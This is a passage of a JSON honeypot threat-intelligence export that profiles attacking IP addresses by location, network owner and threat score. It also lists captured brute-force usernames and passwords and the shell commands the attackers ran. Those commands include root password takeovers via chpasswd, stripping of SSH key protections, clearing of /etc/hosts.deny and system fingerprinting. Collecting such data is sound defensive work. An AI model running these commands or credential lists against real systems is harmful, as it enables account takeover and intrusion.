      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 48.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T01:36:56.338000+00:00",
        "last_seen_30d": "2026-03-24T15:31:36.308000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 6,
        "Cowrie": 2
      }
    },
    "198.235.24.229": {
      "attack_count": 2,
      "first_seen": "2026-03-09T16:16:54.651Z",
      "last_seen": "2026-03-09T16:17:25.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:42:38.046000+00:00",
        "last_seen_30d": "2026-03-31T07:26:09.598000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 38,
        "ConPot": 19,
        "Cowrie": 2
      }
    },
    "41.59.191.67": {
      "attack_count": 2,
      "first_seen": "2026-03-16T04:47:14.669Z",
      "last_seen": "2026-03-16T04:47:27.649Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:47:14.669000+00:00",
        "last_seen_30d": "2026-03-16T04:48:36.102000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.57": {
      "attack_count": 2,
      "first_seen": "2026-03-17T23:31:15.570Z",
      "last_seen": "2026-03-17T23:31:16.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T01:37:29.524000+00:00",
        "last_seen_30d": "2026-03-18T02:25:30.098000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2,
        "H0neytr4p": 2,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "49.130.197.108": {
      "attack_count": 2,
      "first_seen": "2026-03-23T11:39:55.159Z",
      "last_seen": "2026-03-23T11:40:09.726Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 17924,
      "as_org": "SmarTone Mobile Communications Ltd",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T11:39:55.159000+00:00",
        "last_seen_30d": "2026-03-23T11:41:12.615000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.102.240": {
      "attack_count": 2,
      "first_seen": "2026-03-18T13:46:38.073Z",
      "last_seen": "2026-03-18T13:46:52.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T13:46:38.073000+00:00",
        "last_seen_30d": "2026-03-18T13:47:58.041000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.129.210.42": {
      "attack_count": 2,
      "first_seen": "2026-03-02T13:23:31.533Z",
      "last_seen": "2026-03-02T13:23:44.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Pallini",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:23:31.533000+00:00",
        "last_seen_30d": "2026-03-02T13:24:51.196000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.224.178.95": {
      "attack_count": 2,
      "first_seen": "2026-03-15T23:23:37.033Z",
      "last_seen": "2026-03-15T23:23:51.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Ponte di Piave",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:23:37.033000+00:00",
        "last_seen_30d": "2026-03-15T23:24:53.858000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.253": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:05:54.952Z",
      "last_seen": "2026-03-24T21:06:05.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:38:31+00:00",
        "last_seen_30d": "2026-03-31T19:38:43.713000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 46,
        "Cowrie": 2
      }
    },
    "103.183.74.4": {
      "attack_count": 1001,
      "first_seen": "2026-03-03T21:37:23.940Z",
      "last_seen": "2026-03-21T20:19:47.210Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appuser",
        "awsuser",
        "chrism",
        "deamon_root",
        "khalil",
        "qiyuesuo",
        "vboxuser",
        "ai",
        "ana",
        "ashish",
        "csgo",
        "db2inst1",
        "devuser",
        "dp",
        "eddy",
        "elk",
        "harish",
        "intel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "123456",
        "password",
        "12345",
        "!Qq123456",
        "!qaz2wsX",
        "!qaz2wsx.",
        "00001111",
        "12QWaszx",
        "14521452",
        "1Q2W3e4r",
        "1Qwertyuiop",
        "314159",
        "Bingo@1993",
        "Cc112233",
        "Csgo123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\n099NKOg6r83J\\n099NKOg6r83J\\n\"|passwd",
        "echo \"123456\\n6IdgzH1F1rY4\\n6IdgzH1F1rY4\\n\"|passwd",
        "echo \"1234\\na85usPc6Q069\\na85usPc6Q069\\n\"|passwd",
        "echo \"123\\nFg2JHgEW0JoF\\nFg2JHgEW0JoF\\n\"|passwd",
        "echo \"123\\nXeKI1oBRCI3M\\nXeKI1oBRCI3M\\n\"|passwd",
        "echo \"khalil1234\\nAvRb4ziFtleX\\nAvRb4ziFtleX\\n\"|passwd",
        "echo \"root:XwUqr7ZuEFFf\"|chpasswd|bash",
        "echo \"root:bRXQn9CZ9qQ5\"|chpasswd|bash",
        "echo \"root:cm3kNpGp9Uhq\"|chpasswd|bash",
        "echo \"root:m0jyuSBwxiKf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1207,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:37:23.940000+00:00",
        "last_seen_30d": "2026-03-21T20:20:48.035000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1001,
        "Suricata": 206
      }
    },
    "172.191.178.196": {
      "attack_count": 640,
      "first_seen": "2026-03-05T05:59:23.570Z",
      "last_seen": "2026-03-17T13:08:29.897Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "innova",
        "jboss",
        "patrick",
        "soporte",
        "xiaoming",
        "caja",
        "crawl",
        "deamon",
        "dspace",
        "firewall",
        "ftptest",
        "ftpuser1",
        "grid",
        "hbase",
        "icinga",
        "inversiones",
        "ips",
        "jwlee"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "123456",
        "!Qwer1234",
        "007007",
        "123321",
        "1234",
        "12345",
        "135790135790",
        "25251325",
        "Admin@123$",
        "Bingo@1993",
        "Deamon123!",
        "Ff123456@",
        "P@ssword1",
        "Qwerty1!",
        "Root123$",
        "Xiaoming123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\npM0giRMfbrQ6\\npM0giRMfbrQ6\\n\"|passwd",
        "echo \"Xiaoming123!\\nCnPxsC6JEx3Q\\nCnPxsC6JEx3Q\\n\"|passwd",
        "echo \"innova1234\\nsoK5IGAGbZiq\\nsoK5IGAGbZiq\\n\"|passwd",
        "echo \"jbosspass\\nT1WrWQuIE2aO\\nT1WrWQuIE2aO\\n\"|passwd",
        "echo \"patrickpass\\no8UImeUwLM8U\\no8UImeUwLM8U\\n\"|passwd",
        "echo \"root:1vFD2ljYIJpU\"|chpasswd|bash",
        "echo -e \"12345\\npM0giRMfbrQ6\\npM0giRMfbrQ6\"|passwd|bash",
        "echo -e \"Xiaoming123!\\nCnPxsC6JEx3Q\\nCnPxsC6JEx3Q\"|passwd|bash",
        "echo -e \"innova1234\\nsoK5IGAGbZiq\\nsoK5IGAGbZiq\"|passwd|bash",
        "echo -e \"jbosspass\\nT1WrWQuIE2aO\\nT1WrWQuIE2aO\"|passwd|bash",
        "echo -e \"patrickpass\\no8UImeUwLM8U\\no8UImeUwLM8U\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 802,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:59:23.570000+00:00",
        "last_seen_30d": "2026-03-17T13:09:39.486000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 640,
        "Suricata": 162
      }
    },
    "136.119.213.208": {
      "attack_count": 588,
      "first_seen": "2026-03-08T13:06:08.886Z",
      "last_seen": "2026-03-10T08:35:43.148Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ami",
        "clawd",
        "elearn",
        "ernesto",
        "old",
        "superman",
        "travis",
        "ai",
        "db2admin",
        "dhiraj",
        "dp",
        "ethan",
        "modify",
        "rdpuser",
        "root",
        "term1",
        "testsftp",
        "toor",
        "uno85"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "123",
        "1234",
        "12345",
        "123456",
        "Elearn123",
        "Travis123",
        "admin1!",
        "ami",
        "dp1234",
        "ernestopass",
        "term1pass",
        "testsftp123!",
        "toorpass",
        "uno851234",
        "vendas",
        "wordpress"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\npetEjrfl0hny\\npetEjrfl0hny\\n\"|passwd",
        "echo \"12345\\nLB1SsxDs1dFr\\nLB1SsxDs1dFr\\n\"|passwd",
        "echo \"1234\\nx1VTwR8i3zWW\\nx1VTwR8i3zWW\\n\"|passwd",
        "echo \"Elearn123\\nU57v7eWbgdDO\\nU57v7eWbgdDO\\n\"|passwd",
        "echo \"Travis123\\n8wO7Gk6K6XzF\\n8wO7Gk6K6XzF\\n\"|passwd",
        "echo \"ami\\niVXcyHiV6V3h\\niVXcyHiV6V3h\\n\"|passwd",
        "echo \"ernestopass\\nDMizpgTOGmAl\\nDMizpgTOGmAl\\n\"|passwd",
        "echo -e \"123456\\npetEjrfl0hny\\npetEjrfl0hny\"|passwd|bash",
        "echo -e \"12345\\nLB1SsxDs1dFr\\nLB1SsxDs1dFr\"|passwd|bash",
        "echo -e \"1234\\nx1VTwR8i3zWW\\nx1VTwR8i3zWW\"|passwd|bash",
        "echo -e \"Elearn123\\nU57v7eWbgdDO\\nU57v7eWbgdDO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:06:08.886000+00:00",
        "last_seen_30d": "2026-03-10T08:36:45.146000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 588,
        "Suricata": 78
      }
    },
    "162.245.218.8": {
      "attack_count": 588,
      "first_seen": "2026-03-03T01:59:28.057Z",
      "last_seen": "2026-03-05T11:39:41.284Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin1",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "@Aa123456",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "Gd@ta2014",
        "P@ssw0rd2025",
        "Qq123321",
        "Qwe@123456",
        "Ubuntu@123",
        "aa!2024",
        "aa@123",
        "abc123...",
        "abcd!@#$",
        "admin123456",
        "q1w2e3r4!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ABC!@#123\\n5bgKzNwYZnsa\\n5bgKzNwYZnsa\\n\"|passwd",
        "echo \"Ubuntu@123\\nTmIO19OZxHcy\\nTmIO19OZxHcy\\n\"|passwd",
        "echo \"root:3YXG19u3UCJf\"|chpasswd|bash",
        "echo \"root:8E3n0ycd9jRy\"|chpasswd|bash",
        "echo \"root:CM1L5jzEiiZv\"|chpasswd|bash",
        "echo \"root:OX45nLxhRcAX\"|chpasswd|bash",
        "echo \"root:rbjXJz3BsaTu\"|chpasswd|bash",
        "echo -e \"ABC!@#123\\n5bgKzNwYZnsa\\n5bgKzNwYZnsa\"|passwd|bash",
        "echo -e \"Ubuntu@123\\nTmIO19OZxHcy\\nTmIO19OZxHcy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 153040,
      "as_org": "YouStable",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 672,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:59:28.057000+00:00",
        "last_seen_30d": "2026-03-05T11:40:49.671000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 588,
        "Suricata": 84
      }
    },
    "156.251.179.157": {
      "attack_count": 557,
      "first_seen": "2026-03-04T00:38:43.265Z",
      "last_seen": "2026-03-27T17:07:00.225Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elsearch",
        "alfresco",
        "boss",
        "controlm",
        "dev",
        "eric",
        "hive",
        "int",
        "io",
        "upload",
        "vente",
        "vsftp",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!Aa123456",
        "1234",
        "123456",
        "12345678",
        "12356789",
        "1235813",
        "1QAZ2wsx!@",
        "1qaz@wsx",
        "2222",
        "Aa123321",
        "Aa@123456",
        "Asdewq123",
        "Ir123456@",
        "P@ssword55",
        "Plm123plm",
        "Sq123456",
        "a1231231"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"alfresco123\\nK7zwb3hW6gCK\\nK7zwb3hW6gCK\\n\"|passwd",
        "echo \"elsearchpassword\\nXNTzKcWa7Nyn\\nXNTzKcWa7Nyn\\n\"|passwd",
        "echo \"root:9qJ3AElz0vDM\"|chpasswd|bash",
        "echo \"root:iYnB6I2VUI0e\"|chpasswd|bash",
        "echo \"root:y5InovCKOK37\"|chpasswd|bash",
        "echo -e \"alfresco123\\nK7zwb3hW6gCK\\nK7zwb3hW6gCK\"|passwd|bash",
        "echo -e \"elsearchpassword\\nXNTzKcWa7Nyn\\nXNTzKcWa7Nyn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1464,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:02:47.375000+00:00",
        "last_seen_30d": "2026-03-31T21:33:56.178000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 907,
        "Cowrie": 557
      }
    },
    "187.141.71.166": {
      "attack_count": 461,
      "first_seen": "2026-03-06T09:24:02.209Z",
      "last_seen": "2026-03-19T03:12:35.651Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ankit",
        "km",
        "mari",
        "nexus",
        "aa",
        "ahmad",
        "andrea",
        "angel",
        "angga",
        "claudio",
        "deploy",
        "desarrollo",
        "devman",
        "esuser",
        "ghostadmin",
        "informix",
        "kirill",
        "ks"
      ],
      "passwords_attempted": [
        "password",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123123",
        "12345678",
        "12345678AA",
        "6yhn^YHN",
        "@qwer2025",
        "@qwer2026",
        "Abc1234@",
        "Andrea",
        "Devman123!",
        "Qazwsx123",
        "Ty123456",
        "ahmad",
        "angelpass",
        "ankit123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nHChoQyZIkQBR\\nHChoQyZIkQBR\\n\"|passwd",
        "echo \"123456\\nrStFeiZgGK7n\\nrStFeiZgGK7n\\n\"|passwd",
        "echo \"12345\\nMQ2BmZNY8LT3\\nMQ2BmZNY8LT3\\n\"|passwd",
        "echo \"ankit123\\n6MbwcaDvOkns\\n6MbwcaDvOkns\\n\"|passwd",
        "echo -e \"123456\\nHChoQyZIkQBR\\nHChoQyZIkQBR\"|passwd|bash",
        "echo -e \"123456\\nrStFeiZgGK7n\\nrStFeiZgGK7n\"|passwd|bash",
        "echo -e \"12345\\nMQ2BmZNY8LT3\\nMQ2BmZNY8LT3\"|passwd|bash",
        "echo -e \"ankit123\\n6MbwcaDvOkns\\n6MbwcaDvOkns\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 569,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T09:24:02.209000+00:00",
        "last_seen_30d": "2026-03-19T03:13:36.925000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
